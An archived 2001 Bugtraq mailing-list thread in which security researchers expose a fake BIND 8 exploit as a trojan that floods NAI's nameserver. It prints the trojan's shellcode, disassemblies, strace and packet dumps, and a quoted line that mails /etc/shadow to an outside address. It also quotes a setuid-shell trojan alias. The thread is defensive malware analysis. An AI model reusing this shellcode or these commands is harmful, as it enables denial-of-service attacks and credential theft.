6033598 2001-01-31 20:09 -0800 /26 rader/ Matt Lewis <matt@NINJAS.ORG>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-01 08:42 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: matt@NINJAS.ORG
Mottagare: Bugtraq (import) <15128>
Ärende: Bind 8 Exploit - Trojan
------------------------------------------------------------
From: Matt Lewis <matt@NINJAS.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <3A78E17D.912C9DCC@geekbox.net>
The Bind 8 Exploit sent to bugtraq users by "nobody@replay.com" is a
Trojan, as I'm sure many have found out at this point.
It attacks dns1.nai.com, and I haven't researched it extensively yet,
wanted to get this out. There's quite possibly other things going on
as well, locally.
I straced it and got odd results, the last time I ran it, it didn't
launch the attack. Shellcode analyzation would be required here.
How did this get approved, did anyone test it or review it?
You can see the IP address for dns1.nai.com listed in the shellcode
included with the file. It forks off many copies of itself and
violently attacks NAI's nameserver.
I sent this out hastily, so forgive any mistakes made beyond the
original observation of the attack.
-Matt Lewis
(6033598) --------------------------------(Ombruten)
Kommentar i text 6037105 av Yohanes Nugroho <m198054@STUDENTS.IF.ITB.AC.ID>
Kommentar i text 6037253 av Eldridge, Brett <beldridg@BEST.COM>
Kommentar i text 6038643 av Talisker <Talisker@NETWORKINTRUSION.CO.UK>
6037105 2001-02-01 20:45 +0700 /66 rader/ Yohanes Nugroho <m198054@STUDENTS.IF.ITB.AC.ID>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-01 19:34 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: m198054@STUDENTS.IF.ITB.AC.ID
Mottagare: Bugtraq (import) <15135>
Kommentar till text 6033598 av Matt Lewis <matt@NINJAS.ORG>
Ärende: Re: Bind 8 Exploit - Trojan
------------------------------------------------------------
From: Yohanes Nugroho <m198054@STUDENTS.IF.ITB.AC.ID>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.10.10102012029390.17467-100000@malabar.if.itb.ac.id>
On Wed, 31 Jan 2001, Matt Lewis wrote:
> It attacks dns1.nai.com, and I haven't researched it extensively yet,
> wanted to get this out. There's quite possibly other things going on as
> well, locally.
well, there is something going on locally, read it bellow
> I straced it and got odd results, the last time I ran it, it didn't
> launch the attack. Shellcode analyzation would be required here.
I only analyzed the shell code for linux and this is just a very
simple code. In C, it will be something like this:
fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)
while (1) sendto(fd, somedata, 1024, 0, dest, 16);
with 'dest' containing the address of the NAI's nameserver and
somedata is just junk.
> You can see the IP address for dns1.nai.com listed in the shellcode
> included with the file. It forks off many copies of itself and violently
> attacks NAI's nameserver.
and it attacks from the local computer running this trojan
(it never uses the host you specify at the command line at all)
just look at the set_ptr function bellow:
int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;
memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(©_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}
this is called like this:
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
note: BIND_OFF_02 = 1028
simply said this is just an obfuscated way to run the "shellcode".
--
Regards
Yohanes
http://langitbiru.hypermart.net
(6037105) --------------------------------(Ombruten)
6037253 2001-02-01 09:09 -0800 /22 rader/ Eldridge, Brett <beldridg@BEST.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-01 20:14 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: beldridg@BEST.COM
Mottagare: Bugtraq (import) <15144>
Kommentar till text 6033598 av Matt Lewis <matt@NINJAS.ORG>
Ärende: Re: Bind 8 Exploit - Trojan
------------------------------------------------------------
From: "Eldridge, Brett" <beldridg@BEST.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.31.0102010907000.757-100000@rush>
On Wed, 31 Jan 2001, Matt Lewis wrote:
> How did this get approved, did anyone test it or review it?
i don't think that the moderator's job is to test all the exploits
that get mailed to the list.
the moderator's job is to reject messages which don't adhere to the
policy of the list.
that said, anybody who blindly uses exploit code deserves what they
get.
next time, test the code in a controlled environment.
- brett
(6037253) --------------------------------(Ombruten)
Kommentar i text 6038701 av Jonathan Katz <jon@JONWORLD.COM>
6038701 2001-02-01 15:03 -0500 /41 rader/ Jonathan Katz <jon@JONWORLD.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-02 09:19 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: jon@JONWORLD.COM
Mottagare: Bugtraq (import) <15155>
Kommentar till text 6037253 av Eldridge, Brett <beldridg@BEST.COM>
Ärende: Re: Bind 8 Exploit - Trojan
------------------------------------------------------------
From: Jonathan Katz <jon@JONWORLD.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20010201150335.R27696@jonworld.com>
Yesterday, Matt Lewis wrote:
> How did this get approved, did anyone test it or review it?
and Today, Brett Eldridge pointed out:
> i don't think that the moderator's job is to test all the exploits that
> get mailed to the list.
[...]
> that said, anybody who blindly uses exploit code deserves what they get.
> next time, test the code in a controlled environment.
This is just history repeating itself. Remember that 'sshd exploit
code' someone posted here about 2-3 years back? For some reason you
*had* to run it as root. Burried in its shellcode was a very simple
'mailx JPandKit@hotmail.com < /etc/shadow'. This is just old news and
new kiddies thinking they're being special by playing with old tricks.
If you run code without looking at it or thinking it through, "Boo
Hoo!"
Show me something new and exciting.
Security hasn't changed much:
[1] Backdoors/easter-eggs (Sendmail 3.x 'WIZ'->Borland Inprise)
[2] buffer overflows (fingerd->statd->imapd)
[3] race conditions and a lack of randomness (think /tmp, TCP sequencing)
[4] permissions (Remember when SunOS and Solaris installed with a mode 666
/var/adm/messages? Various distros of Linux did the same 3 years later
with its syslogs.)
[5] trojans (alias mroe='cp /bin/sh /tmp/sh; chmod 04755 /tmp/sh')
-Jon
-- Jonathan Katz [] jon@jonworld.com [] http://jonworld.com "Live
fast, die young, leave a really messy corpse." Cell: 317-698-4023 []
Pager: 800-759-8888 1770869 aka 1770869@skytel.com
(6038701) --------------------------------(Ombruten)
6038643 2001-02-01 21:54 +0000 /48 rader/ Talisker <Talisker@NETWORKINTRUSION.CO.UK>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-02 09:04 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: Talisker@NETWORKINTRUSION.CO.UK
Mottagare: Bugtraq (import) <15153>
Kommentar till text 6033598 av Matt Lewis <matt@NINJAS.ORG>
Ärende: Re: Bind 8 Exploit - Trojan
------------------------------------------------------------
From: Talisker <Talisker@NETWORKINTRUSION.CO.UK>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <014901c08c99$827eb200$d05d883e@home>
> How did this get approved, did anyone test it or review it?
Didn't you? - I'd rather see the information despatched to us quickly
and treat it with caution, than have delays introduced whilst the
code is rigorously tested. The moderators already have a lot on
their plate without dumping this responsibility on them.
Take Care
Andy
http://www.networkintrusion.co.uk
Talisker's Network Security Tools List
Security Tools Notification
http://groups.yahoo.com/group/security-tools/join
----- Original Message -----
From: "Matt Lewis" <matt@NINJAS.ORG>
To: <BUGTRAQ@SECURITYFOCUS.COM>
Sent: Thursday, February 01, 2001 4:09 AM
Subject: Bind 8 Exploit - Trojan
> The Bind 8 Exploit sent to bugtraq users by "nobody@replay.com" is a
> Trojan, as I'm sure many have found out at this point.
>
> It attacks dns1.nai.com, and I haven't researched it extensively yet,
> wanted to get this out. There's quite possibly other things going on as
> well, locally.
>
> I straced it and got odd results, the last time I ran it, it didn't
> launch the attack. Shellcode analyzation would be required here.
>
> How did this get approved, did anyone test it or review it?
>
> You can see the IP address for dns1.nai.com listed in the shellcode
> included with the file. It forks off many copies of itself and violently
> attacks NAI's nameserver.
>
> I sent this out hastily, so forgive any mistakes made beyond the
> original observation of the attack.
>
> -Matt Lewis
>
(6038643) --------------------------------(Ombruten)
6037115 2001-01-31 21:33 -0800 /97 rader/ Max Vision <vision@WHITEHATS.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-01 19:40 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: vision@WHITEHATS.COM
Mottagare: Bugtraq (import) <15136>
Ärende: Re: That BIND8 "exploit" attacks NAI
------------------------------------------------------------
From: Max Vision <vision@WHITEHATS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <5.0.2.1.2.20010131211836.02bd5218@127.0.0.01>
Here is more detailed information about the "trojan" bind8 exploit
posted to Bugtraq.
When you run the alleged tsig exploit it actually manages to run the
Linux shellcode on the local system (in my environment I used a
Redhat 6.2 install in VMware (local network only)).
The exploit forks, sends something to your actual target (appears to be a
*nonworking* remote exploit for bind) and in the child process floods
dns1.nai.com without mercy:
...
fork() = 614
[pid 612] getpid() = 612
[pid 612] socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP) = 3
[pid 612] sendto(3,
"\2d\204\0\0\1\0\0\0\0\0\1\0\315\200\203\304\10=\4\0\30"..., 512, 0,
{sin_family=AF_INET, sin_port=htons(53),
sin_addr=inet_addr("23.23.23.23")}}, 16) = 512
[pid 612] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
[pid 612] connect(4, {sin_family=AF_INET, sin_port=htons(31338),
sin_addr=inet_addr("23.23.23.23")}}, 16 <unfinished ...>
[pid 614] time(NULL) = 981004491
[pid 614] socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP) = 3
[pid 614] sendto(3,
"/sh\0\0\3537^j\21j\2j\2jf\215\5a\0\0\0\315\200\211\302"..., 1024, 0,
{sin_family=AF_INET, sin_port=htons(53),
sin_addr=inet_addr("161.69.3.150")}}, 16) = 1024
[pid 614] sendto(3,
"/sh\0\0\3537^j\21j\2j\2jf\215\5a\0\0\0\315\200\211\302"..., 1024, 0,
{sin_family=AF_INET, sin_port=htons(53),
sin_addr=inet_addr("161.69.3.150")}}, 16) = 1024
...
(lots more sendto()...)
This is how those flood packets look with tcpdump x.x.x.x.4691 >
161.69.3.150.53: 12147 updateMA [14174a] [235q] [27153n] [27138au]
(1024)
There's lots of them. This is bad depending on your like/dislike of
NAI and and/or law enforcement.
Drop that code and step away from the Internet!
Max
>Date: Wed, 31 Jan 2001 20:57:54 -0800
>To: bugtraq@securityfocus.com
>From: Max Vision <vision@whitehats.com>
>Subject: That BIND8 "exploit" attacks NAI
>
>Hi,
>
>Please beware of running code such as this. It will do it's best to
>attack NAI's nameserver. It's a typical, though well disguised, shellcode
>trick.
>Look in the Linux shellcode:
>\xa1\x45\x03\x96 == 161.69.3.150 == dns1.nai.com
>
>More details after I have a better look...
>Max
>
>At 04:12 PM 1/31/2001 -0700, you wrote:
>> >From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001
>>Date: Thu, 31 Jan 2001 18:06:19 -0400
>>From: Anonymous <nobody@replay.com>
>>To: BUGTRAQ@SECURITYFOCUS.COM
>>Subject: Bind8 exploit
>>Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com>
>>Mime-Version: 1.0
>>Content-Type: text/plain; charset="us-ascii"
>>X-Mailer: Internet Mail Service (5.5.2650.21)
>>
>>
>>/*
>> * Implements TSIG buffer mismanagement overflow for incorrect
>> signatures. That
>> * one was really nice bug!
>> * Thanks NAI for nice bug!
>> */
>>
>>/* zeroes in all shellcodes are allowed - we encode them anyway.. */
>>char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
>> * bind to tcp port 31338. hey aleph1
>> * :) */
>>"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
>>"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
>>"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
>>"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
>>"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
>>"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
>>"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";
(6037115) --------------------------------(Ombruten)
6037166 2001-02-01 16:01 +0200 /151 rader/ Sergei <Sergei.Ledovskij@NIXU.FI>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-01 19:55 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: Sergei.Ledovskij@NIXU.FI
Mottagare: Bugtraq (import) <15140>
Ärende: Re: Bind 8 Exploit - Trojan
------------------------------------------------------------
From: Sergei <Sergei.Ledovskij@NIXU.FI>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.GSO.4.10.10102011556280.16846-100000@mole.nixu.fi>
Analyzis of the bind8 trojaned exploit
--------------------------------------
here's the code:
0x8049540 <shellcode>: jmp 0x8049576 <shellcode+54>
0x8049542 <shellcode+2>: pop %esi
0x8049543 <shellcode+3>: mov $0x1,%ebx
0x8049548 <shellcode+8>: mov %esi,%ecx
0x804954a <shellcode+10>: mov $0x66,%eax
0x804954f <shellcode+15>: int $0x80
0x8049551 <shellcode+17>: mov %eax,0x14(%esi)
0x8049554 <shellcode+20>: lea 0x30(%esi),%eax
0x8049557 <shellcode+23>: mov %eax,0x18(%esi)
0x804955a <shellcode+26>: xor %eax,%eax
0x804955c <shellcode+28>: mov %eax,0x20(%esi)
0x804955f <shellcode+31>: lea 0xc(%esi),%eax
0x8049562 <shellcode+34>: mov %eax,0x24(%esi)
0x8049565 <shellcode+37>: mov $0x66,%eax
0x804956a <shellcode+42>: mov $0xb,%ebx
0x804956f <shellcode+47>: lea 0x14(%esi),%ecx
0x8049572 <shellcode+50>: int $0x80
0x8049574 <shellcode+52>: jmp 0x8049565 <shellcode+37>
0x8049576 <shellcode+54>: call 0x8049542 <shellcode+2>
here's what it does:
<shellcode>: jmp 0x8049576 <shellcode+54>
<shellcode+2>: pop %esi
address of data into %esi
<shellcode+3>: mov $0x1,%ebx
<shellcode+8>: mov %esi,%ecx
<shellcode+10>: mov $0x66,%eax
<shellcode+15>: int $0x80
eax = 0x66 (102 is the syscall number of socketcall)
ebx = 0x1 (1 is the call number of sys_socket)
ecx = shellcode+59 (address of args)
(gdb) x/3 shellcode+59
<shellcode+59>: 0x00000002 0x00000002 0x00000011
family = 2 (AF_INET, <linux/socket.h>)
type = 2 (SOCK_DGRAM, <asm/socket.h>)
protocol = 0x11 (17, UDP, <linux/in.h>)
socket descriptor is returned in %eax
<shellcode+17>: mov %eax,0x14(%esi)
store the descriptor at shellcode+79
<shellcode+20>: lea 0x30(%esi),%eax
get address of shellcode+107 (beginning of the actual exploit
code) into %eax
<shellcode+23>: mov %eax,0x18(%esi)
store that address in shellcode+83
<shellcode+26>: xor %eax,%eax
zero out eax
<shellcode+28>: mov %eax,0x20(%esi)
store that zero into shellcode+91 (this are flags, but read
on)
<shellcode+31>: lea 0xc(%esi),%eax
get address of shellcode+71 (struct sockaddr for sendto, but
read on) into %eax
<shellcode+34>: mov %eax,0x24(%esi)
store that address into shellcode+95
<shellcode+37>: mov $0x66,%eax
<shellcode+42>: mov $0xb,%ebx
<shellcode+47>: lea 0x14(%esi),%ecx
eax = 0x66 (102 is the syscall number of socketcall)
ebx = 0xb (11 is the call number of sys_sendto)
ecx = shellcode+79 (address of args)
args are (int fs, void *buff, size_t len, unsigned flags,
struct sockaddr *addr, int addr_len), thus:
fs = [shellcode+79] = value received from socket call (socket
descriptor)
buff = [shellcode+83] = shellcode+107 = that's where actual
exploit code is stored i presume
len = [shellcode+87] = 0x400, send 1024 chars
(gdb) x/1 shellcode+87
<shellcode+87>: 0x00000400
flags = [shellcode+91] = 0, no special flags
addr = [shellcode+95] = shellcode+71, this is struct sockaddr_in
(gdb) x/10 shellcode+71
<shellcode+71>: 0x35000002 0x960345a1 0xffffffff 0xffffffef
<shellcode+87>: 0x00000400 0x00000000 0x809a5f02 0x00000010
<shellcode+103>: 0x6e69622f 0x0068732f
struct sockaddr_in {
sa_family_t sin_family; /* Address family */
unsigned short int sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
...
};
thus: sin_family = 0x0002 (AF_INET) sin_port = 0x3500 (or in
host order 0x0035, which is 53) sin_addr = 0x 96 03 45 a1
(nothing other than 161.69.3.150, dns1.nai.com)
addr_len = [shellcode+99] = 0x10 (16 bytes, the length of
struct sockaddr)
<shellcode+50>: int $0x80
do the thing
<shellcode+52>: jmp 0x8049565 <shellcode+37>
loop sys_sendto()
<shellcode+54>: call 0x8049542 <shellcode+2>
call used to get the address of data (we jump here in the
beginning)
<shellcode+59>:
data starts here..
Lesson:
-------
Use the force, read the source!
--
Sergei Ledovskij +358(40)8245708 solid@nixu.fi
Makelankatu 91 PO. 21 Helsinki 00601 Finland
(6037166) --------------------------------(Ombruten)
6037202 2001-02-01 01:03 -0800 /73 rader/ Perry Harrington <pedward@WEBCOM.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-01 20:04 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: pedward@WEBCOM.COM
Mottagare: Bugtraq (import) <15142>
Ärende: offending code of bind trojan
------------------------------------------------------------
Below I have excerpted the obvious pieces of the trojan. The
functions which do the deed are set_ptr, and the call to
dnsprintflabel.
I just thought some people may have wanted to know how the person who
wrote the trojan hid the shellcode among the seemingly correct
exploit.
--Perry
***
*** set_ptr does the fork dance.
***
int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
if (!fork())
***
*** After the above fork, child does meaningless memcpy and
*** returns to main, causing multiple executions of the trojan
*** shellcode.
***
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}
***
*** dnsprintflabel has a lot of crap code in it, but it
*** isn't this function that does the deed, it's the
*** arguments to the function.
***
/* pull out a compressed query name */
char *
dnsprintflabel(char *s, char *buf, char *p)
{
return (p);
}
***
*** This is the actual code that does the running of the shellcode.
*** In it he hides a lot of useless casts to hide the inline prototype
*** of the call to the shellcode.
***
/*
* encode packet ...
*/
dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)),
(char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
This is the carefully typecasted prototype for the shellcode, he
just skips all the header and pointer crap to actually run the
shellcode. The &expl_buffer[0] + sizeof(HEADER) + 1 is actually
just the shellcode he copied from the buffers above, hidden behind
some custom types and stuff.
EXPLANATION: The & dereference just returns the pointer of the array
element at the calculated offset (sizeof(HEADER) +1). The thing that
gives this away as a function call is the extra set of parentheses
after the typecast, this is the lexicon for an inline function typecast.
--
Perry Harrington Director of zelur xuniL ()
perry@webcom.com System Architecture Think Blue. /\
(6037202) --------------------------------(Ombruten)
Bilaga (application/pgp-signature) i text 6037203
6037203 2001-02-01 01:03 -0800 /10 rader/ Perry Harrington <pedward@WEBCOM.COM>
Importerad: 2001-02-01 20:04 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: pedward@WEBCOM.COM
Mottagare: Bugtraq (import) <15143>
Bilaga (text/plain) till text 6037202
Ärende: Bilaga till: offending code of bind trojan
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.2 (SunOS)
Comment: For info see http://www.gnupg.org
iD8DBQE6eSZjfK7Bvd0wfuURAjbPAJ0XzUEgf4RITR/RYCLoSt8IZsVTdwCgx4/F
tOTu91/MEnUU6aTQpisfaDg=
=mHlC
-----END PGP SIGNATURE-----
(6037203) ------------------------------------------
6038525 2001-02-01 14:03 -0500 /97 rader/ galt <galt@COWOFDOOM.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-02 08:05 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: galt@COWOFDOOM.COM
Mottagare: Bugtraq (import) <15151>
Ärende: fake bind 8 exploit disassembly
------------------------------------------------------------
From: galt <galt@COWOFDOOM.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.10.10102011334420.14496-100000@evilcow.cowofdoom.com>
i just saw the other post...but i figure perhaps someone else is
interested in this disassembly..heh
basically i looked over the source, and made a function to dump the
shellcode in char shellcode[] format, and exit(1) before running the
bad code, and then compiled that with -g and stepped through it a bit
to figure out what wasnt apparent from the disassemble shellcode
output from gdb
in the main() function we see
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
BIND_OFF_02 is equal to 1028 which is the offset variable below
in the set_ptr function, there is a bit of code
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(©_buff[offset], &val,
sizeof(val)); so basically it forks and then overflows the stack,
executing the shellcode in the background...the shellcode is pretty
cool, there is a bit of jumping into odd offset instructions to make
it a bit harder to disassemble (i assume)
so into the shellcode:
Dump of assembler code for function shellcode:
0x8049400 <shellcode>: xor %eax,%eax
0x8049402 <shellcode+2>: dec %eax
0x8049403 <shellcode+3>: push %eax
0x8049404 <shellcode+4>: push %eax
0x8049405 <shellcode+5>: xor %ebx,%ebx
0x8049407 <shellcode+7>: lea 0xd,%eax
0xd = 13 = time()
0x804940d <shellcode+13>: int $0x80
0x804940f <shellcode+15>: add $0x8,%esp
0x8049412 <shellcode+18>: cmp $0x1020304,%eax
time() wont return a value less than that from a while back until never
heh
0x8049417 <shellcode+23>: jl 0x804941e <shellcode+30>
0x8049419 <shellcode+25>: call 0x8049433 <shellcode+51>
0x804941e <shellcode+30>: call 0x80494a3 <shellcode+163>
0x8049423 <shellcode+35>: call 0x564bdd7b
0x8049428 <shellcode+40>: inc %ecx
0x8049429 <shellcode+41>: push %esp
0x804942a <shellcode+42>: push %ebp
0x804942b <shellcode+43>: push %edx
0x804942c <shellcode+44>: inc %ebp
0x804942d <shellcode+45>: call 0x845e784
0x8049432 <shellcode+50>: add %ch,%bl
shellcode+51 is a jmp to shellcode+105
0x8049434 <shellcode+52>: xor $0x5e,%al
here we have the code to setup the socket
shellcode+53 is a pop %esi instruction, so the data is at shellcode+110
0x8049436 <shellcode+54>: mov $0x1,%ebx
SYS_SOCKET
0x804943b <shellcode+59>: mov %esi,%ecx
0x804943d <shellcode+61>: mov $0x66,%eax
0x66 = 102 = socketcall()
0x8049442 <shellcode+66>: int $0x80
0x8049444 <shellcode+68>: mov %eax,0x14(%esi)
0x8049447 <shellcode+71>: lea 0x30(%esi),%eax
0x804944a <shellcode+74>: mov %eax,0x18(%esi)
0x804944d <shellcode+77>: xor %eax,%eax
0x804944f <shellcode+79>: mov %eax,0x20(%esi)
0x8049452 <shellcode+82>: lea 0xc(%esi),%eax
0x8049455 <shellcode+85>: mov %eax,0x24(%esi)
here we have the main_loop, just keeps on spamming out that same packet
0x8049458 <shellcode+88>: mov $0x66,%eax
0x66 = 102 = socketcall()
0x804945d <shellcode+93>: mov $0xb,%ebx
SYS_SENDTO
0x8049462 <shellcode+98>: lea 0x14(%esi),%ecx
0x8049465 <shellcode+101>: int $0x80
0x8049467 <shellcode+103>: jmp 0x8049458 <shellcode+88>
0x8049469 <shellcode+105>: call 0x8049435 <shellcode+53>
shellcode+110 is all data
i let one of the sendto's execute in gdb and sniffed the packet:
13:15:50.336361 10.0.0.5.32795 > 161.69.3.150.53: 12147 updateMA [14174a]
[235q] [27153n] [27138au] (1024) (DF)
4500 041c 0000 4000 4011 87f1 0a00 0005
a145 0396 801b 0035 0408 efdd 2f73 6800
00eb 375e 6a11 6a02 6a02 6a66 8d05 6100
0000 cd80 89c2
galt
(6038525) --------------------------------(Ombruten)
6041478 2001-02-02 02:29 -0700 /200 rader/ Kurt Seifried <listuser@SEIFRIED.ORG>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-02 18:56 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: listuser@seifried.org
Mottagare: Bugtraq (import) <15168>
Kommentar till text 6021476 av COVERT Labs <seclabs@NAI.COM>
Markerad av 1 person.
Ärende: Paul Vixie interview and vendor responses
------------------------------------------------------------
From: Kurt Seifried <listuser@SEIFRIED.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <014a01c08cfa$aa9862c0$ca00030a@seifried.org>
Hola all,
Interviewed Paul Vixie to clear some things up, and asked several
people about this (some vendors/etc.), the responses are interesting
to say the least.
By Kurt Seifried (seifried@securityportal.com) for
www.SecurityPortal.com
February 01, 2001 - ISC's Bind has become the de facto standard for
running name servers, from the heavily used root server all the way
to single-user Unix workstations. This has resulted in a monoculture:
outside of some Microsoft-based networks, virtually all name servers
run Bind.
The security problems in Bind are numerous, with root hacks and
denial of service attacks being found over the years. The ISC Bind
security page lists twelve "official" security holes in various
versions of Bind. If you visit any hacker Website, chances are you
can find dozens of prepackaged "exploits" that will allow you to
break into various versions of Bind running on different Unix
platforms. Currently, of the SANS top ten security problems, Bind is
number one.
ISC is now considering charging for access to security-related
information regarding Bind:
From: Paul A Vixie (Paul_Vixie@isc.org)
ISC has historically depended upon the "bind-workers" mailing list,
and CERT advisories, to notify vendors of potential or actual
security flaws in its BIND package. Recent events have very clearly
shown that there is a need for a fee-based membership forum
consisting only of: 1. ISC itself 2. Vendors who include BIND in
their products 3. Root and TLD name server operators 4. Other
qualified parties (at ISC's discretion) Requirements of bind-members
will be: 1. Not-for-profit members can have their fees waived 2. Use
of PGP (or possibly S/MIME) will be mandatory 3. Members will receive
information security training 4. Members will sign strong
nondisclosure agreements Features and benefits of "bind-members"
status will include: 1. Private access to the CVS pool where bind4,
bind8 and bind9 live 2. Reception of early warnings of security or
other important flaws 3. Periodic in-person meetings, probably at
IETF's conference sites 4. Participation on the bind-members mailing
list If you are a BIND vendor, root or TLD server operator, or other
interested party, I urge you to seek management approval for entry
into this forum, and then either contact, or have a responsible party
contact, isc-info@isc.org.
I solicited responses from ISC and several vendors via phone and
email.
Paul Vixie (Internet Software Consortium - makers of Bind)
communicated with me in several emails. The (1) and (2) show which
email exchange each part is from. No other editing has been done.
Kurt Seifried (1): I'm doing an article on this, and I've solicited
some vendor response, but would also like to get ISC's reasons,
etc. for this (as well to explain to readers a bit more what is going
on). Paul Vixie (1): It's a bit early to do an article on it.
that's why I called the notice I sent a "pre-announcement". but I'll
tell you what little can be told and you can decide if it's
newsworthy. Kurt Seifried (2): From this I take it as a matter of
when it will happen, as opposed to if it will happen? Paul Vixie
(2): bind-members absolutely will happen. Kurt Seifried (1): Why do
you think there is a need for fee-based membership? Paul Vixie (1):
ISC has strong ties to vendors who run bind9, due to the
vendor-funded project to write bind9 from scratch. however, ISC's
contacts to vendors (or to the different parts of some of the same
vendors) who run bind4 and bind8 are at the personal, 1-on-1
engineering level. it's now desirable to formalize and deepen the
ties between ISC and those vendors or parts of vendors who are
responsible for shipping BIND, and patches to BIND, as part of their
products. Kurt Seifried (2): So unless you sponsor ISC or pay the
membership fee you will be unable to get support from ISC in the form
of software patches, etc.? I.e., you will have to rely on "official"
releases (such as 8.3.2 or 9.1.0) or fix it yourself? Paul Vixie
(2): not at all. ISC has always published patches and will continue
to do so. however, the next time we learn, through CERT or otherwise,
that there is an attackable bug in code that we've published, we hope
to have a direct and very private communications forum with the
people who run the internet infrastructure or who need lead time to
prepare patches for THEIR customers. an important point to make, if
you're going to write about this, is that nothing ISC has
historically done will stop. the code is still completely
redistributable under the Berkeley-style license (which, unlike the
GPL, allows vendors to distribute binaries based on modified sources
without sharing those source modifications with ISC or anybody else).
CERT will still be ISC's channel for announcing security bugs to the
community. patches will still be accepted from the community, and
published to the community. the ONLY thing bind-members will do is
ADD SOMETHING NEW. nothing old is being taken away. all that was,
remains. what we're adding is a way for ISC and the vendors who ship
BIND in their products to speak privately and securely without
awkwardly depending on CERT as the communications channel. (but note
that CERT will still receive early notice of any attackable bugs just
as they always have, there is no intent to cut them out of the loop.)
Kurt Seifried (1): What recent events have shown this? Paul Vixie
(1): While preparing for this week's CERT advisory, isc found that
speaking to vendors through the CERT advisory process was somewhat
awkward and made for extra work on both sides. Kurt Seifried (1):
The NDA, I assume this is to prevent people from jumping the gun on
announcements and distributing code from CVS? Paul Vixie (1):
Absolutely. Only ISC or its contractors can distribute new versions
of BIND. Kurt Seifried (2): By this I assume you mean an "official"
Bind-x.x.x.tar.gz, as opposed to "Generic Linux" shipping
Bind-x.x.x.tar.gz compiled and packaged up, correct? Paul Vixie (2):
right. Kurt Seifried (1): Do you have any idea or ballpark figures
on what membership will cost, for example say a vendor like IBM,
and/or Red Hat Linux? I.e. $500, $5,000, $50,000 per year? Paul
Vixie (1): I can't comment on that at this time. however, you can
use the gradiated pricing model of the old X Consortium as a
"similar-sounding model" to get the point across to your readers that
(a) this has been done before, and (b) details will be announced when
ISC is ready to announce them.
Commentary
Vincent Danen (MandrakeSoft - makers of Linux Mandrake):
I think the decision of the ISC to make a bind-members group that is
not public for the future development and early disclosure of
